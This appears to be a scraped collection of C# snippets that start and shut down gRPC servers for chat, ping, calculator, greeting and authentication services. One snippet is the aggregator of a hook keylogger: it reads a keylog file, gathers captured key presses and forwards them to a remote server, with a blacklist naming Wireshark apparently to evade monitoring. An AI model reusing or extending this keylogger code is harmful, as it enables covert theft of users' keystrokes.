static void Main(string[] args) { Console.WriteLine("Starting RPC Chat server..."); Grpc.Core.Server server = new Grpc.Core.Server() { Services = { ChatContract.BindService(new Rpc.ChatService()) }, Ports = { new Grpc.Core.ServerPort("localhost", SERVER_PORT, Grpc.Core.ServerCredentials.Insecure) } }; try { server.Start(); Console.WriteLine($"Chat service listening in port {SERVER_PORT}"); } catch (Exception) { Console.WriteLine("Failed to start RPC server"); } Console.WriteLine("Press any key to exit the server..."); Console.ReadKey(); server.ShutdownAsync().Wait(); }
static void Main(string[] args) { Grpc.Core.Server server = null; try { server = new Grpc.Core.Server() { // bind grpc service with its implenetation that server can route the client call to that implementation. Services = { Greeting.GreetingService.BindService(new GreetingServiceImp()) }, Ports = { new Grpc.Core.ServerPort("localhost", port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("Server started on port : " + port); Console.WriteLine("Server started on port : " + server.Ports); Console.ReadLine(); } catch (Exception e) { Console.WriteLine(e.Message); throw; }finally { if (server != null) { server.ShutdownAsync().Wait(); } } }
static void Main(string[] args) { var server = new Grpc.Core.Server() { Services = { Chat.Grpc.AuthServer.BindService(new AuthServer("172.17.0.2")) }, Ports = { new Grpc.Core.ServerPort("0.0.0.0", 50001, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); //================================= var exitEvent = new System.Threading.ManualResetEvent(false); Console.CancelKeyPress += (sender, e) => exitEvent.Set(); exitEvent.WaitOne(); server.ShutdownAsync().Wait(); }
internal void Init() { // shutdown if already active _server?.ShutdownAsync().GetAwaiter().GetResult(); // create server again _server = GrpcServerBuilder.Build(_provider, Configuration); }
///<summary> ///Aggregates key-presses sent from the hook key logger. ///</summary> static void Main(string[] args) { // The path of the keylog file string path = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\keylog"; // The new file that holds the extracted data string newFile = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\data"; string addr = "localhost"; int port = 4567; string serveraddr; int serverport = 13000; var blacklist = new List<string>(); blacklist.Add("Wireshark"); if (args.Length == 1) { serveraddr = args[0]; } else { serveraddr = "server"; } // Setup the shared resources ConcurrentQueue<KeyPress> inputbuffer = new ConcurrentQueue<KeyPress>(); ConcurrentQueue<CI> outbuffer = new ConcurrentQueue<CI>(); Grpc.Core.Server server = new Grpc.Core.Server { Services = { HookKeylogger.Base.KerPressAggergator.BindService(new KeyPressAggergatorImpl(inputbuffer)) }, Ports = { new Grpc.Core.ServerPort(addr, port, Grpc.Core.ServerCredentials.Insecure) } }; ServerClient client = new ServerClient(serveraddr, serverport, blacklist.ToArray()); KeyPressAggergator ksa = new KeyPressAggergator(inputbuffer, client); Thread aggergationThread = new Thread(new ThreadStart(ksa.Scan)); Thread sendThread = new Thread(new ThreadStart(client.Start)); // Start threads and server aggergationThread.Start(); sendThread.Start(); server.Start(); //Console.WriteLine("Key-Press Aggergation server listening on " +addr + ":" + port); //Console.WriteLine("Press any key to stop the aggregation server..."); //Console.ReadKey(); while (true) { System.Threading.Thread.Sleep(100000); } // Shutdown and wait for all threads to finish before exiting. aggergationThread.Abort(); aggergationThread.Join(); sendThread.Abort(); sendThread.Join(); server.ShutdownAsync(); }
static void Main(string[] args) { Grpc.Core.Server server = new Grpc.Core.Server { Services = { PingPongPlayer.BindService(new PingPongPlayerImpl()) }, Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("Server listening on port " + Port); Console.WriteLine("Press any key to quit..."); Console.ReadKey(); server.ShutdownAsync().Wait(); }
private void CheckShutdown() { ConsoleKey key; if ((key = Console.ReadKey().Key) == ConsoleKey.Q) { Server.ShutdownAsync().GetAwaiter().GetResult(); } else { Console.WriteLine($"\nCommand '{key.ToString()}' not recognized"); CheckShutdown(); } }
static async Task Main(string[] args) { Grpc.Core.Server server = new Grpc.Core.Server { Services = { Calculator.BindService(new CalculatorImpl()) }, Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("Calculator server listening on port " + Port); Console.WriteLine("Press any key to stop the server..."); Console.ReadKey(); await server.ShutdownAsync(); }
private static void StartServer() { var server = new Grpc.Core.Server { Services = { ParticipanteService.BindService(services.GetService <Services.ParticipanteService>()) }, Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine($"Server listening on port {Port}"); Console.WriteLine("Press any key to stop the server..."); Console.ReadKey(); server.ShutdownAsync().Wait(); }
static void Main(string[] args) { Console.WriteLine("Starting the service..."); var server = new Grpc.Core.Server { Services = { ClassLibrary1.Protos.Ping.BindService(new PingImplementation()) }, Ports = { new Grpc.Core.ServerPort("localhost", 50051, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("Ping server listening on port 50051"); Console.WriteLine("Press any key to stop the server..."); Console.ReadKey(); server.ShutdownAsync().Wait(); }
static void Main(string[] args) { var server = new Grpc.Core.Server { Services = { ServiceDefinition.AccountServices.Account.BindService(new ServiceDefinitionImplementation()) }, Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine($"Account service listening on port { Port }"); Console.WriteLine("Press any key to stop the server..."); Console.ReadKey(); server.ShutdownAsync().Wait(); }
static void Main(string[] args) { var grpcServer = new Grpc.Core.Server() { Services = { SOULS.Server.Server.BindService(new FormatsServer()) }, Ports = { new Grpc.Core.ServerPort("localhost", 50001, Grpc.Core.ServerCredentials.Insecure) } }; grpcServer.Start(); Console.WriteLine("Server is working"); Console.WriteLine("Press any key to stop"); Console.ReadKey(); Console.WriteLine("Stopping..."); grpcServer.ShutdownAsync().Wait(); Console.WriteLine("Stopped."); }
public static void Main(string[] args) { Grpc.Core.Server server = new Grpc.Core.Server { Services = { Greeter.BindService(new GreeterService()) }, Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("gRPC服务开启的端口 " + Port); Console.WriteLine("任意键退出"); RegisterConsul(); Console.ReadKey(); server.ShutdownAsync().Wait(); }
public static void Main(string[] args) { var host = CreateWebHostBuilder(args).Build(); Grpc.Core.Server server = new Grpc.Core.Server { Services = { Greeter.BindService(new GreeterService()) }, Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("gRPC服务开启的端口 " + Port); //Console.WriteLine("任意键退出"); //Console.ReadKey(); host.Run(); server.ShutdownAsync().Wait(); }
public async Task ShutdownServerAsync() { await _server.ShutdownAsync(); }
/// <summary> /// Stop server /// </summary> /// <returns></returns> public async Task StopAsync() { await _server.ShutdownAsync().ConfigureAwait(false); }
public void Cleanup() { System.Diagnostics.Debug.WriteLine($"Stopping Service..."); Server.ShutdownAsync().Wait(); System.Diagnostics.Debug.WriteLine($"We're done."); }
static void Main(string[] args) { const int serverPort = 50001; var server = new Grpc.Core.Server() { Services = { Chat.Grpc.Auth.BindService(new AuthServer("mongo")) }, Ports = { new Grpc.Core.ServerPort("0.0.0.0", serverPort, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); //================================= var naming = new Chat.Grpc.Naming.NamingClient(new Grpc.Core.Channel("naming:7777", Grpc.Core.ChannelCredentials.Insecure)); if (naming.RegisterService(new Chat.Grpc.RegistrationRequest() { Health = 100, Name = Chat.Grpc.ServiceType.Auth, Port = serverPort }).Success) { var exitEvent = new System.Threading.ManualResetEvent(false); var pingTimer = new System.Threading.Timer((state) => { try { if (naming.Ping(new Chat.Grpc.PingRequest() { Health = 100, Name = Chat.Grpc.ServiceType.Auth, Port = serverPort }).Success) { return; } }catch (Grpc.Core.RpcException) { } exitEvent.Set(); }, null, 3000, 3000); //======================================== Console.CancelKeyPress += (sender, e) => exitEvent.Set(); Console.WriteLine("Serviço de autenticação em execução..."); exitEvent.WaitOne(); } else { Console.WriteLine("O registro no servidor de nomes falhou."); } server.ShutdownAsync().Wait(); }